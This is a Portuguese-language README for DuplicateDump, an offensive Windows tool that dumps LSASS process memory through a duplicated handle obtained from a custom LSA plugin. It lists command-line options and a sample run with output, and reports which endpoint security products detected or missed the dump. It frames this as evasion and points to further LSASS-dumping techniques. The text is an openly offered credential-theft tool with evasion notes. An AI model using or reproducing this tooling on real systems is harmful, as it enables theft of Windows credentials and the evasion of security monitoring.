
Despejando LSASS com um handle duplicado de um plugin LSA personalizado
DuplicateDump é um fork do MirrorDump com as seguintes modificações:
DuplicateDump adiciona um plugin LSA personalizado que duplica o handle do processo LSASS do processo LSASS para o DuplicateDump. Assim, o DuplicateDump tem um handle de processo pronto para uso para o LSASS sem invocar OpenProcess.
Ao carregar o DuplicateDump na memória, ele foi capaz de despejar a memória do LSASS sem detecção em
Detectado por Cortex XDR, Crowdstrike. Falhou ao despejar lsass sem detecção no SentinalOne.
Compile o plugin LSA (exporte a função SpLsaModeInitialize ou dllMain) e forneça o caminho completo da DLL para o DuplicateDump
.\DuplicateDump.exe --help
-f, --filename=VALUE The path to write the dump file to
-p, --plugin=VALUE Full file path to LSA plugin
-c, --compress GZip and delete the dump file on disk
-d, --DebugPriv Obtain SeDebugPrivilege
-h, --help Display this help
Exemplo
.\DuplicateDump.exe -f test -c -p C:\LSAPlugin.dll
[+] Loading LSA security package
[+] Named pipe connected and replying with current PID 6492
[+] Found duplicated LSASS process handle 0x3d0
[+] Compressed dump file saved to test.gz
DuplicateDump usa DInvoke para chamar a API AddSecurityPackage para carregar um plugin LSA. Você poderia usar uma chamada RPC sem ter que invocar essa chamada de API diretamente. Veja detalhes no post do blog do XPN
Recentemente, splinter_code descobriu que o SecLogon poderia ser aproveitado para despejar o LSASS. Recomendo fortemente que você estude o post do blog dele.